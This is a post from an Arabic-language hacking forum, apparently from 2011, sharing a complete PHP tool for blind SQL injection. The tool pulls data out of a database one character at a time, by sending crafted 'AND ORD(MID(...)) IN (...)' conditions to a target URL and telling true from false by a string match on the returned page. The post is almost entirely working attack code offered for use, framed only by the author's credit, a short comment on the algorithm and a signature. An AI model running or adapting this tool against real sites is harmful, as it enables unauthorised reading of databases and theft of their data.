عرض مشاركة واحدة
قديم 10-04-2011, 06:13 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي [PHP] Blind SQL InjectionTool


كود PHP:

<?php
 
 
#  Name -> Blind SQL Injection by Dichotomy Function
#    Credits -> charles "real" F. <charlesfol[at]hotmail.fr>       
#  Date -> 13-04-08

/*
 * 
 *  This c0de uses the dichotomy algorithm to retrieve SQL data.
 *
 *  Dichotomy can be schematised like this:
 *
 *  1/1   [---------x----------------------]
 *  1/2   [///////////////][---------------]
 *  1/4   [-------][//////]
 *  1/8            [//][--]   
 *
 *  It permits demencial charsets use, and charset order
 *  doesn't matter.
 *
 *  The useful function is  blind(), the rest is just useful to
 *  view results easily.
 *  It's an example, you can/must modify it.
 *  
 * 
 *  Maths time:
 *  c = max queries by letter for 1-by-1 test
 *  n = max queries by letter for dichotomy algorithm
 *  c = 2^n
 * 
 *  So ... n<c.If you don't trust me ... try.
 *
 *
 */
 
#------------ EXAMPLE --------------------------------------------------------

$debug true;
 
$url   "http://localhost/vuln.php?id=3"# target url
$match "Name|Titre"# bsqli match

# charset
$charset 
 
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
."0123456789_-'\"~#&(){}[]<>|`:/;!?";
 
print 
"\n";
print 
"Query:   $argv[1]\n";
print 
"Charset: $charset (".strlen($charset).")\n";
print 
"\n";
print 
"Result:  ";
blind("$argv[1]",$charset,32);
print 
"\n";
 
#-----------------------------------------------------------------------------

/*
 * blind() - Blind SQL Injection by Dichotomy
 *
 * @param query    the SQL query
 * @param charset  the charset you wanna use
 * @param nbchars  max number of chars
 *
 */
function blind($query,$charset,$nbchars=50)
{
    global 
$debug/* debug var permit a verbose output */
 
    
$result "";
    
$current_letter    1;
 
    
/* for each letter */
    
while($current_letter<=$nbchars)
    {
        
$add=0;
 
        
# We need a peer charset length
        
$start intval(strlen($charset)/2);
        if( (
$start/2) != intval($start/2) ) $start += 1;
 
        
# Blind SQL Injection by Dichotomy
        
for($i=$start;$i>1;$i=intval($i/2+0.5))
        {
            
# Put the substring on the right form.
            
$sub substr($charset,$add+$i,$i);
            
$sub preg_replace("#(.)#",",$1",$sub);
            
$sub preg_replace("#([^,])#e","ord('$1')",$sub);
            
$sub substr($sub,1);
            
$sub "(".$sub.")";
 
            
$sql "ORD(MID(($query),$current_letter,1)) IN $sub";
 
            if(
$debug) print "i=$i\tadd=$add\t".substr($charset,$add,$i).' | '.substr($charset,$add+$i,$i)."\n";
 
            if(
sql_attack($sql)) $add+=$i;
        }
 
        
# Bruteforce for the last 2/3 letters.
        
for($k=$add;$k<=$add+2;$k++)
        {
            
$letter substr($charset,$k,1);
            
$sql "ORD(MID(($query),$current_letter,1))=".ord($letter);
 
            if(
$debug) print "\t\t$letter\n";
 
            if(
sql_attack($sql)) break;
            
$letter '';
        }
 
        if(
$letter!='')
        {
            
$result .= $letter;
            if(
$debug) print "FOUND: $letter\n\n";
            else print 
$letter;
        }
        else break;
 
        
$current_letter++;
    }
 
    return 
$result;
}
 
#-----------------------------------------------------------------------------

# Simple attack function (returns true/false)
function sql_attack($sql)
{
    global 
$url,$match;
 
    
$result get($url.urlencode(' AND '.$sql));
 
    if(
preg_match("#$match#i",$result)) return true;
    return 
false;    
}
 
# Simple GET function
function get($url)
{
    
$result '';
    
preg_match("#^http://([^/]+)(/.*)$#i",$url,$infos);
    
$host $infos[1];
    
$page $infos[2];
    
$fp fsockopen($host80, &$errno, &$errstr30);
 
    
$req  "GET $page HTTP/1.1\r\n";
    
$req .= "Host: $host\r\n";
    
$req .= "User-Agent: Mozilla Firefox\r\n";
    
$req .= "Connection: close\r\n\r\n";
 
    
fputs($fp,$req);
 
    while(!
feof($fp)) $result .= fgets($fp,128);
 
    
fclose($fp);
    return 
$result;
}
 
 
?>

vnice tools


FPHPD Blind SQL InjectionTool

الملفات المرفقة
نوع الملف: txt code.txt‏ (3.7 كيلوبايت, المشاهدات 0)
:: نصائح مهمه :: - أفحص الملف المرفق بأي برنامج مضاد للفيروسات
2- قم بمراسلة المراقب عن أي مرفق يوجد به فيروس
3- المنتدى غير مسوؤل عن مايحتويه المرفق من بيانات
التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس